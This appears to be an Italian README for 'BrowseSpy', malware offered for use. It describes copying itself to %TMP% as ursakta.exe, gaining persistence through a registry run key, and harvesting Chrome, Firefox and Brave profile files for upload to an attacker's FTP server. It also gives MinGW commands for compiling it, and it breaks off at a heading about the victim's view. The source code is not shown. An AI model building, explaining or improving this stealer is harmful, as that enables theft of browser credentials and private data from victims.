BrowseSpy

Assicurati di cambiare le variabili ftp in tutto il codice, queste variabili contengono nome utente, password e indirizzo IP del server FTP che riceve i file.

Questo codice farà quanto segue:

1. Copiarsi nella directory %TMP% e nominarsi ursakta.exe
2. Aggiungere una voce di registro per eseguirsi ogni volta che l'utente accede
3. Verificare quale browser sta usando l'utente (Chrome, Firefox o Brave)
4. Cercare file all'interno delle directory dei browser Chrome, Firefox o Brave
5. Creare una directory sul nostro server FTP e quindi inviare i file nella directory del browser al server FTP

Compilazione incrociata con MingW su Linux

Comando di installazione con Apt:

• sudo apt-get install mingw-w64

64-bit:

• x86_64-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

32-bit:

• i686-w64-mingw32-gcc *input file* -o *output file* -lwininet -lversion

Dal punto di vista della vittima: